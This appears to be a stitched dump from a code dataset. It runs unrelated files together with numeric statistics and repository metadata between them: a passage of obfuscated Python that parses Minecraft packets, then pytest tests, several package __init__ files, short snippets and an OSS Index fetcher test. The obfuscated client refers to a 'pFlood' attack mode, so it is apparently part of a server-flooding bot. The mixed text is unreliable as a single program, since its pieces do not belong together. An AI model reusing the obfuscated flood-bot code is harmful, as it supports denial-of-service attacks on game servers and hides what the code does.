._getBytes (1 )),16 ) OO00O0OO0OOO0000O ._debug ('Open window ['+OO00O0OO0OOO0000O ._readString ()+']') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (1 ) if O00O00000OO00OO0O ==1 : OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x2E : OO00O0OO0OOO0000O ._debug ('Close Window') OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x2F : OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._debug ('Set Slot') OO00O0OO0OOO0000O ._readSlot () elif _O000O0O00000O0000 ==0x30 : OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._debug ('Window Items') O00OOOO00OOOOOO00 =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) while O00OOOO00OOOOOO00 !=0 : OO00O0OO0OOO0000O ._readSlot () O00OOOO00OOOOOO00 =O00OOOO00OOOOOO00 -1 elif _O000O0O00000O0000 ==0x31 : OO00O0OO0OOO0000O ._debug ('Window Property') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x32 : OO00O0OO0OOO0000O ._debug ('Confirm Transaction') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x33 : OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (4 ) OOOO0OO0O0O00OOOO =OO00O0OO0OOO0000O ._readString () OOO00O00O00OO0OO0 =OO00O0OO0OOO0000O ._readString () OO00OOO00O000OOOO =OO00O0OO0OOO0000O ._readString () OO0O00O0O000O0000 =OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._debug ('Update Sign ['+OOOO0OO0O0O00OOOO +':'+OOO00O00O00OO0OO0 +':'+OO00OOO00O000OOOO +':'+OO0O00O0O000O0000 +']') elif _O000O0O00000O0000 ==0x34 : OO00O0OO0OOO0000O ._debug ('Maps') OO00O0OO0OOO0000O ._readVarint () O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) OO00O0OO0OOO0000O ._getBytes (O0OO00O00O000O00O ) elif _O000O0O00000O0000 ==0x35 : OO00O0OO0OOO0000O ._debug ('Update Block Entity') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (2 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (1 ) O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) if O0OO00O00O000O00O >0 : OO00O0OO0OOO0000O ._getBytes (O0OO00O00O000O00O ) elif _O000O0O00000O0000 ==0x36 : OO00O0OO0OOO0000O ._debug ('Sign Editor Open') OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x37 : OO00O0OO0OOO0000O ._debug ('Increment Statistic') O0OO00O00O000O00O =OO00O0OO0OOO0000O ._readVarint () for OO00OOO000OOOO000 in range (O0OO00O00O000O00O ): OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readVarint () elif _O000O0O00000O0000 ==0x38 : OO00O0OO0OOO0000O ._debug ('Player List Item ['+OO00O0OO0OOO0000O ._readString ()+']') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (2 ) elif _O000O0O00000O0000 ==0x39 : OO00O0OO0OOO0000O ._debug ('Player Abilities') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._getBytes (4 ) OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x3A : OO00O0OO0OOO0000O ._debug ('Tab-Complete') OO00O0OO0OOO0000O ._readVarint () OO00O0OO0OOO0000O ._readString () elif _O000O0O00000O0000 ==0x3B : OO00O0OO0OOO0000O ._debug ('Scoreboard Objective') OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (1 ) elif _O000O0O00000O0000 ==0x3C : OO00O0OO0OOO0000O ._debug ('Update Score') OO00O0OO0OOO0000O ._readString () O0OOOOO00O000OOOO =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (1 )),16 ) if O0OOOOO00O000OOOO !=1 : OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (4 ) elif _O000O0O00000O0000 ==0x3D : OO00O0OO0OOO0000O ._debug ('Display Scoreboard') OO00O0OO0OOO0000O ._getBytes (1 ) OO00O0OO0OOO0000O ._readString () elif _O000O0O00000O0000 ==0x3E : OO00O0OO0OOO0000O ._debug ('Teams') OO00O0OO0OOO0000O ._readString () O0O0O0O0OO000000O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (1 )),16 ) if O0O0O0O0OO000000O ==0 : OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (1 ) O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) OO00O0OO0OOO0000O ._getBytes (O0OO00O00O000O00O ) if O0O0O0O0OO000000O ==2 : OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._getBytes (1 ) if O0O0O0O0OO000000O ==3 : O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) OO00O0OO0OOO0000O ._getBytes (O0OO00O00O000O00O ) if O0O0O0O0OO000000O ==4 : O0OO00O00O000O00O =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) OO00O0OO0OOO0000O ._getBytes (O0OO00O00O000O00O ) elif _O000O0O00000O0000 ==0x3F : OO00O0OO0OOO0000O ._debug ('Información - '+OO00O0OO0OOO0000O ._readString ()+'') OO0O0OO0O00O0O0O0 =int (binascii .b2a_hex (OO00O0OO0OOO0000O ._getBytes (2 )),16 ) OO00O0OO0OOO0000O ._getBytes (OO0O0OO0O00O0O0O0 ) else : if _O000O0O00000O0000 ==0x40 : O00O00OOOO00O0O00 =OO00O0OO0OOO0000O ._readString () OO00O0OO0OOO0000O ._log ('Desconectado! - '+O00O00OOOO00O0O00) OO00O0OO0OOO0000O ._isConnected =False try : OO00O0OO0OOO0000O ._socket .close () except : pass return if _O000O0O00000O0000 =='': pass else : if _O000O0O00000O0000 =='ER': if OO00O0OO0OOO0000O ._isConnected : OO00O0OO0OOO0000O ._log ('Desconectado! [Error de conexión]'+OO00O0OO0OOO0000O ._old_packet_id ) try : if 'pFlood'in OO00O0OO0OOO0000O ._attacks and OO00O0OO0OOO0000O ._isConnected : OO00O0OO0OOO0000O ._isConnected =False else : OO00O0OO0OOO0000O ._socket .close () except : pass OO00O0OO0OOO0000O ._isConnected =False return return
58.048
1,490
0.60624
3,882
58,048
8.826893
0.189335
0.151024
0.073601
0.092862
0.357672
0.302165
0.273799
0.25448
0.216745
0.186862
0
0.289271
0.319064
58,048
999
1,491
58.106106
0.57763
0.041225
0
0.385331
0
0.004132
0.049316
0.00505
0.001033
1
0.005302
0
0.001033
0
null
null
0.020661
0.019628
null
null
0.022727
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
4
7afec910e5093e27b651cf4326158d9d60dc6039
1,334
py
Python
tests/test_crud_notifier.py
InfraPixels/powerlibs-django-contrib-notifiers
4fa0d5f58428f0478f3264a5d69639030e416524
[ "MIT" ]
null
null
null
tests/test_crud_notifier.py
InfraPixels/powerlibs-django-contrib-notifiers
4fa0d5f58428f0478f3264a5d69639030e416524
[ "MIT" ]
1
2017-11-11T00:03:34.000Z
2017-11-11T00:03:34.000Z
tests/test_crud_notifier.py
DroneMapp/powerlibs-django-contrib-notifiers
4fa0d5f58428f0478f3264a5d69639030e416524
[ "MIT" ]
2
2020-06-01T14:23:01.000Z
2021-05-26T00:17:46.000Z
import pytest pytestmark = pytest.mark.django_db def test_CRUDNotifierModel_creation(mocked_notifier, crud_notifier_model): instance = crud_notifier_model(name='creation test') instance.save() assert mocked_notifier.notify.call_count == 1 args, kwargs = mocked_notifier.notify.call_args topic, data = args assert topic == 'crud_notifier_model__created' assert data['id'] == instance.id assert data['name'] == 'creation test' def test_CRUDNotifierModel_update(mocked_notifier, crud_notifier_model): instance = crud_notifier_model(name='creation test') instance.save() instance.name = 'new name' instance.save() assert mocked_notifier.notify.call_count == 2 args, kwargs = mocked_notifier.notify.call_args topic, data = args assert topic == 'crud_notifier_model__updated' assert data['id'] == instance.id assert data['name'] == 'new name' def test_CRUDNotifierModel_deletion(mocked_notifier, crud_notifier_model): instance = crud_notifier_model(name='creation test') instance.save() instance.delete() assert mocked_notifier.notify.call_count == 2 args, kwargs = mocked_notifier.notify.call_args topic, data = args assert topic == 'crud_notifier_model__deleted' assert 'id' in data assert data['id'] is not None
26.68
74
0.726387
168
1,334
5.494048
0.232143
0.136511
0.165764
0.156013
0.754063
0.754063
0.754063
0.754063
0.625135
0.625135
0
0.00273
0.176162
1,334
49
75
27.22449
0.837125
0
0
0.53125
0
0
0.125937
0.062969
0
0
0
0
0.375
1
0.09375
false
0
0.03125
0
0.125
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
2474ade5141dc113c722fd77f34e1be4dd7d35e0
1,774
py
Python
warp/__init__.py
NVIDIA/warp
fc7d3255435fc2fe6b54300e689f74e6d67418ca
[ "CNRI-Python-GPL-Compatible", "Unlicense", "0BSD", "Apache-2.0", "MIT" ]
306
2022-03-21T23:24:13.000Z
2022-03-31T21:11:28.000Z
warp/__init__.py
NVIDIA/warp
fc7d3255435fc2fe6b54300e689f74e6d67418ca
[ "CNRI-Python-GPL-Compatible", "Unlicense", "0BSD", "Apache-2.0", "MIT" ]
11
2022-03-23T06:23:25.000Z
2022-03-31T22:17:18.000Z
warp/__init__.py
NVIDIA/warp
fc7d3255435fc2fe6b54300e689f74e6d67418ca
[ "CNRI-Python-GPL-Compatible", "Unlicense", "0BSD", "Apache-2.0", "MIT" ]
18
2022-03-22T16:27:21.000Z
2022-03-30T20:07:47.000Z
# Copyright (c) 2022 NVIDIA CORPORATION. All rights reserved. # NVIDIA CORPORATION and its licensors retain all intellectual property # and proprietary rights in and to this software, related documentation # and any modifications thereto. Any use, reproduction, disclosure or # distribution of this software and related documentation without an express # license agreement from NVIDIA CORPORATION is strictly prohibited. # for autocomplete on builtins #from warp.stubs import * from warp.types import array, array2d, array3d, array4d, constant from warp.types import int8, uint8, int16, uint16, int32, uint32, int64, uint64, float32, float64 from warp.types import vec2, vec3, vec4, mat22, mat33, mat44, quat, transform, spatial_vector, spatial_matrix from warp.types import Mesh, HashGrid, Volume from warp.context import init, func, kernel, runtime from warp.context import is_cpu_available, is_cuda_available, is_device_available from warp.context import get_devices, get_preferred_device from warp.context import zeros, zeros_like, clone, empty, empty_like, copy, from_numpy, launch, synchronize, force_load from warp.context import set_module_options, get_module_options, get_module from warp.context import capture_begin, capture_end, capture_launch from warp.context import print_builtins, export_builtins, export_stubs from warp.context import Kernel, Function import warp.builtins from warp.tape import Tape from warp.utils import ScopedTimer, ScopedCudaGuard from warp.utils import transform_expand # optional on PyTorch being installed try: from warp.torch import from_torch from warp.torch import to_torch except ModuleNotFoundError: pass # optional on USD being installed try: import warp.render except ModuleNotFoundError: pass
38.565217
119
0.813416
247
1,774
5.724696
0.497976
0.101839
0.084866
0.118812
0
0
0
0
0
0
0
0.022164
0.135287
1,774
45
120
39.422222
0.899609
0.299324
0
0.24
0
0
0
0
0
0
0
0
0
1
0
true
0.08
0.76
0
0.76
0.04
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
4
248f74cccbf3810e8bb957cde5c96239f015f8ee
145
py
Python
ticket/__init__.py
Hanaasagi/ticket-py
981b534334b02897e7c16f12a354c7481c358aad
[ "BSD-3-Clause" ]
null
null
null
ticket/__init__.py
Hanaasagi/ticket-py
981b534334b02897e7c16f12a354c7481c358aad
[ "BSD-3-Clause" ]
null
null
null
ticket/__init__.py
Hanaasagi/ticket-py
981b534334b02897e7c16f12a354c7481c358aad
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import from .ticket import Ticketing, encode, decode __all__ = [ "Ticketing", "encode", "decode" ]
14.5
45
0.689655
15
145
6.066667
0.6
0.32967
0.461538
0
0
0
0
0
0
0
0
0
0.213793
145
9
46
16.111111
0.798246
0
0
0
0
0
0.144828
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
2492d388415250569ac01ae79108a6de05e57528
185
py
Python
backend/MaskFormer/mask_former/data/datasets/__init__.py
rune-l/coco-annotator
a7ae8004c5e1ca74e5bbc41d09edc5cfab117a14
[ "MIT" ]
143
2021-12-23T15:28:07.000Z
2022-03-31T04:41:29.000Z
backend/MaskFormer/mask_former/data/datasets/__init__.py
rune-l/coco-annotator
a7ae8004c5e1ca74e5bbc41d09edc5cfab117a14
[ "MIT" ]
18
2021-12-27T08:39:04.000Z
2022-03-30T12:22:26.000Z
backend/MaskFormer/mask_former/data/datasets/__init__.py
rune-l/coco-annotator
a7ae8004c5e1ca74e5bbc41d09edc5cfab117a14
[ "MIT" ]
27
2021-12-25T09:30:03.000Z
2022-03-30T03:25:20.000Z
# Copyright (c) Facebook, Inc. and its affiliates. from . import ( register_ade20k_full, register_ade20k_panoptic, register_coco_stuff_10k, register_mapillary_vistas, )
23.125
50
0.751351
22
185
5.909091
0.818182
0.215385
0
0
0
0
0
0
0
0
0
0.039474
0.178378
185
7
51
26.428571
0.815789
0.259459
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.166667
0
0.166667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
24b86d44b8af9da5abb3e2ac37d4b97c0a1c102b
149
py
Python
test-pyfiles/simpletest.py
severuscat/fp-translator
9acc0a802ed9570a4ba00b0b6ac0a69cabaa6ad0
[ "BSD-3-Clause" ]
null
null
null
test-pyfiles/simpletest.py
severuscat/fp-translator
9acc0a802ed9570a4ba00b0b6ac0a69cabaa6ad0
[ "BSD-3-Clause" ]
null
null
null
test-pyfiles/simpletest.py
severuscat/fp-translator
9acc0a802ed9570a4ba00b0b6ac0a69cabaa6ad0
[ "BSD-3-Clause" ]
null
null
null
print "this is simpletest.py" def f(a1, a2): print "arg1 is" print a1 print "arg2 is" print a2 f("arg1", "arg2") p = f(1, 2) return p
16.555556
29
0.583893
28
149
3.107143
0.535714
0.16092
0
0
0
0
0
0
0
0
0
0.091743
0.268456
149
9
30
16.555556
0.706422
0
0
0
0
0
0.286667
0
0
0
0
0
0
0
null
null
0
0
null
null
0.555556
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
4
701da0529cbe0d17af80910e37d7d4e439b47767
3,219
py
Python
assistive_gym/envs/__init__.py
zhangzhang-1/assistive-gym
ead4b975b05f0d9fa32609fbfaed76574f6275db
[ "MIT" ]
null
null
null
assistive_gym/envs/__init__.py
zhangzhang-1/assistive-gym
ead4b975b05f0d9fa32609fbfaed76574f6275db
[ "MIT" ]
null
null
null
assistive_gym/envs/__init__.py
zhangzhang-1/assistive-gym
ead4b975b05f0d9fa32609fbfaed76574f6275db
[ "MIT" ]
null
null
null
from assistive_gym.envs.scratch_itch_envs import ScratchItchPR2Env, ScratchItchTiagoDualhandEnv, ScratchItchBaxterEnv, ScratchItchSawyerEnv, ScratchItchJacoEnv, ScratchItchStretchEnv, ScratchItchPandaEnv, ScratchItchPR2HumanEnv, ScratchItchTiagoDualhandHumanEnv, ScratchItchBaxterHumanEnv, ScratchItchSawyerHumanEnv, ScratchItchJacoHumanEnv, ScratchItchStretchHumanEnv, ScratchItchPandaHumanEnv from assistive_gym.envs.scratch_itch_envs import ScratchItchPR2MeshEnv, ScratchItchTiagoDualhandMeshEnv, ScratchItchBaxterMeshEnv, ScratchItchSawyerMeshEnv, ScratchItchJacoMeshEnv, ScratchItchStretchMeshEnv, ScratchItchPandaMeshEnv from assistive_gym.envs.bed_bathing_envs import BedBathingPR2Env, BedBathingTiagoDualhandEnv, BedBathingBaxterEnv, BedBathingSawyerEnv, BedBathingJacoEnv, BedBathingStretchEnv, BedBathingPandaEnv, BedBathingPR2HumanEnv, BedBathingTiagoDualhandHumanEnv, BedBathingBaxterHumanEnv, BedBathingSawyerHumanEnv, BedBathingJacoHumanEnv, BedBathingStretchHumanEnv, BedBathingPandaHumanEnv from assistive_gym.envs.drinking_envs import DrinkingPR2Env, DrinkingTiagoDualhandEnv, DrinkingBaxterEnv, DrinkingSawyerEnv, DrinkingJacoEnv, DrinkingStretchEnv, DrinkingPandaEnv, DrinkingPR2HumanEnv, DrinkingTiagoDualhandHumanEnv, DrinkingBaxterHumanEnv, DrinkingSawyerHumanEnv, DrinkingJacoHumanEnv, DrinkingStretchHumanEnv, DrinkingPandaHumanEnv from assistive_gym.envs.feeding_envs import FeedingPR2Env, FeedingTiagoDualhandEnv, FeedingBaxterEnv, FeedingSawyerEnv, FeedingJacoEnv, FeedingStretchEnv, FeedingPandaEnv, FeedingPR2HumanEnv, FeedingTiagoDualhandHumanEnv, FeedingBaxterHumanEnv, FeedingSawyerHumanEnv, FeedingJacoHumanEnv, FeedingStretchHumanEnv, FeedingPandaHumanEnv from assistive_gym.envs.feeding_envs import FeedingPR2MeshEnv, FeedingTiagoDualhandMeshEnv, FeedingBaxterMeshEnv, FeedingSawyerMeshEnv, FeedingJacoMeshEnv, FeedingStretchMeshEnv, FeedingPandaMeshEnv from assistive_gym.envs.dressing_envs import DressingPR2Env, DressingTiagoDualhandEnv, DressingBaxterEnv, DressingSawyerEnv, DressingJacoEnv, DressingStretchEnv, DressingPandaEnv, DressingPR2HumanEnv, DressingBaxterHumanEnv, DressingSawyerHumanEnv, DressingJacoHumanEnv, DressingStretchHumanEnv, DressingPandaHumanEnv from assistive_gym.envs.arm_manipulation_envs import ArmManipulationPR2Env, ArmManipulationTiagoDualhandEnv, ArmManipulationBaxterEnv, ArmManipulationSawyerEnv, ArmManipulationJacoEnv, ArmManipulationStretchEnv, ArmManipulationPandaEnv, ArmManipulationPR2HumanEnv, ArmManipulationBaxterHumanEnv, ArmManipulationSawyerHumanEnv, ArmManipulationJacoHumanEnv, ArmManipulationStretchHumanEnv, ArmManipulationPandaHumanEnv from assistive_gym.envs.human_testing import HumanTestingEnv from assistive_gym.envs.smplx_testing import SMPLXTestingEnv from assistive_gym.envs.demoenv_v0 import Demo0Env from assistive_gym.envs.demoenv_v1 import Demo1Env from assistive_gym.envs.demoenv_v2 import Demo2Env from assistive_gym.envs.reaching_robots import FetchingTiagoEnv, FetchingPR2Env, ReachingPR2Env, ReachingJacoEnv, ReachingPR2HumanEnv, ReachingJacoHumanEnv, ReachingTiagoEnv, ReachingTiagoHumanEnv,DrinkingTiagoEnv,FeedingTiagoEnv,DressingTiagoEnv,ScratchTiagoEnv,ArmManipulationTiagoEnv,BedBathingTiagoEnv
214.6
417
0.908667
217
3,219
13.331797
0.635945
0.06291
0.077428
0.096785
0.081922
0.053923
0.053923
0.028344
0
0
0
0.007531
0.051258
3,219
14
418
229.928571
0.939751
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
70329c5fbf1a7b364bf5cae98b6e938973079c0e
90
py
Python
lang/Python/input-loop-5.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
5
2021-01-29T20:08:05.000Z
2022-03-22T06:16:05.000Z
lang/Python/input-loop-5.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
null
null
null
lang/Python/input-loop-5.py
ethansaxenian/RosettaDecode
8ea1a42a5f792280b50193ad47545d14ee371fb7
[ "MIT" ]
1
2021-04-13T04:19:31.000Z
2021-04-13T04:19:31.000Z
import fileinput for line in fileinput.input(): pass # process line, includes newline
22.5
41
0.755556
12
90
5.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.177778
90
3
42
30
0.918919
0.333333
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0.333333
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
4
70477b61cce7ccb14fa836db5aba6eeb3d2fb019
2,489
py
Python
tests/test_ossindex_fetcher.py
pombredanne/gradle-bodyguard
76f5e889777c4bae6b70710ec56ed6fb3b3ebde7
[ "MIT" ]
null
null
null
tests/test_ossindex_fetcher.py
pombredanne/gradle-bodyguard
76f5e889777c4bae6b70710ec56ed6fb3b3ebde7
[ "MIT" ]
null
null
null
tests/test_ossindex_fetcher.py
pombredanne/gradle-bodyguard
76f5e889777c4bae6b70710ec56ed6fb3b3ebde7
[ "MIT" ]
null
null
null
import json from gradle_bodyguard.ossindex_fetcher import OSSIndexFetcher FAKE_API = '/fake/api/component-report' FAKE_TOKEN = 'fake-token' def test_fetched_with_success_no_vulnerabilities(httpserver): # Given raw = ''' [ { "coordinates": "pkg:maven/com.squareup.okhttp3/okhttp@4.5.0", "vulnerabilities": [] }, { "coordinates": "pkg:maven/com.squareup.retrofit2/retrofit@2.7.0", "vulnerabilities": [] } ] ''' httpserver.expect_request(FAKE_API).respond_with_json(json.loads(raw)) fetcher = OSSIndexFetcher(FAKE_TOKEN, httpserver.url_for(FAKE_API)) # When found = fetcher.fetch([]) # Then expected = {} assert found == expected def test_fetched_with_success_found_vulnerabilities(httpserver): # Given raw = ''' [ { "coordinates": "pkg:maven/com.squareup.okhttp3/okhttp@3.1.2", "vulnerabilities": [ { "cve": "CVE-2018-20200" } ] }, { "coordinates": "pkg:maven/com.squareup.retrofit2/retrofit@2.2.0", "vulnerabilities": [] } ] ''' httpserver.expect_request(FAKE_API).respond_with_json(json.loads(raw)) fetcher = OSSIndexFetcher(FAKE_TOKEN, httpserver.url_for(FAKE_API)) # When found = fetcher.fetch([]) # Then expected = { 'pkg:maven/com.squareup.okhttp3/okhttp@3.1.2':'CVE-2018-20200' } assert found == expected def test_fetch_error_badrequest(httpserver): # Given raw = ''' { "code": 400, "message": "Missing coordinates version" } ''' httpserver.expect_request(FAKE_API).respond_with_json(json.loads(raw), status=400) fetcher = OSSIndexFetcher(FAKE_TOKEN, httpserver.url_for(FAKE_API)) # When found = fetcher.fetch([]) # Then expected = {} assert found == expected def test_fetch_error_internal_server(httpserver): # Given raw = ''' { "code": 503, "message": "Internal Server Error" } ''' httpserver.expect_request(FAKE_API).respond_with_json(json.loads(raw), status=503) fetcher = OSSIndexFetcher(FAKE_TOKEN, httpserver.url_for(FAKE_API)) # When found = fetcher.fetch([]) # Then expected = {} assert found == expected
23.261682
86
0.576135
248
2,489
5.584677
0.262097
0.050542
0.039711
0.068592
0.769675
0.738628
0.738628
0.705415
0.636101
0.608664
0
0.028637
0.298513
2,489
106
87
23.481132
0.764605
0.025311
0
0.411765
0
0.058824
0.411935
0.108164
0
0
0
0
0.058824
1
0.058824
false
0
0.029412
0
0.088235
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
708da33538c3ba289778ae4a9a00c15315a8e381
59
py
Python
bcbiovm/aws/__init__.py
kern3020/bcbio-nextgen-vm
a8601345df10092899594832115ab334c5e208ff
[ "MIT" ]
null
null
null
bcbiovm/aws/__init__.py
kern3020/bcbio-nextgen-vm
a8601345df10092899594832115ab334c5e208ff
[ "MIT" ]
null
null
null
bcbiovm/aws/__init__.py
kern3020/bcbio-nextgen-vm
a8601345df10092899594832115ab334c5e208ff
[ "MIT" ]
null
null
null
"""Functionality to interact with Amazon Web Services. """
19.666667
54
0.745763
7
59
6.285714
1
0
0
0
0
0
0
0
0
0
0
0
0.135593
59
2
55
29.5
0.862745
0.864407
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
708e6ee68360e0cbaa131cc53273961ae6c83c20
73
py
Python
tests/__init__.py
ViviHong200709/EduCDM
ff8a4ec60902b95de47aa8d96c12c9282d6855f2
[ "Apache-2.0" ]
36
2021-04-28T03:22:03.000Z
2022-03-30T16:54:44.000Z
tests/__init__.py
ViviHong200709/EduCDM
ff8a4ec60902b95de47aa8d96c12c9282d6855f2
[ "Apache-2.0" ]
21
2021-03-18T14:10:11.000Z
2022-01-29T14:12:45.000Z
tests/__init__.py
ViviHong200709/EduCDM
ff8a4ec60902b95de47aa8d96c12c9282d6855f2
[ "Apache-2.0" ]
36
2021-03-17T14:43:18.000Z
2022-03-29T07:52:26.000Z
# coding: utf-8 # 2021/3/17 @ tongshiwei import random random.seed(10)
10.428571
24
0.69863
12
73
4.25
0.916667
0
0
0
0
0
0
0
0
0
0
0.163934
0.164384
73
6
25
12.166667
0.672131
0.493151
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
709cbd70927f26023f26780d452575a023f0c732
87
py
Python
pyfuzzysystem/rule/__init__.py
e1Ru1o/pyfuzzysystem
0da96fafd4bb7e5ed34730bb456ad78401e835dc
[ "MIT" ]
null
null
null
pyfuzzysystem/rule/__init__.py
e1Ru1o/pyfuzzysystem
0da96fafd4bb7e5ed34730bb456ad78401e835dc
[ "MIT" ]
null
null
null
pyfuzzysystem/rule/__init__.py
e1Ru1o/pyfuzzysystem
0da96fafd4bb7e5ed34730bb456ad78401e835dc
[ "MIT" ]
null
null
null
from .mamdani import MamdaniRule from .larsen import LarsenRule from .rule import Rule
21.75
32
0.827586
12
87
6
0.583333
0
0
0
0
0
0
0
0
0
0
0
0.137931
87
3
33
29
0.96
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
70a8177ce0d253b16ddf1328248a8b41ddcb6c92
36
py
Python
data/studio21_generated/introductory/3349/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
data/studio21_generated/introductory/3349/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
data/studio21_generated/introductory/3349/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
def find_missing_number(sequence):
18
34
0.833333
5
36
5.6
1
0
0
0
0
0
0
0
0
0
0
0
0.083333
36
2
35
18
0.848485
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
70a88e3fd06afddd719abd93c674fd68d50d7b65
80
py
Python
application/tests/test_landing.py
jamesalzuk/early-detection-index
d783c3799eb919d4c5588d40ddf4c164d2c676ba
[ "BSD-3-Clause" ]
null
null
null
application/tests/test_landing.py
jamesalzuk/early-detection-index
d783c3799eb919d4c5588d40ddf4c164d2c676ba
[ "BSD-3-Clause" ]
null
null
null
application/tests/test_landing.py
jamesalzuk/early-detection-index
d783c3799eb919d4c5588d40ddf4c164d2c676ba
[ "BSD-3-Clause" ]
null
null
null
def test_landing_page_load(client): assert client.get('/').status == '200 OK'
20
42
0.7125
12
80
4.5
0.916667
0
0
0
0
0
0
0
0
0
0
0.042254
0.1125
80
3
43
26.666667
0.71831
0
0
0
0
0
0.088608
0
0
0
0
0
0.5
1
0.5
false
0
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
4
5615ba439e38927e77b5d25c7805da39a527c4af
1,140
py
Python
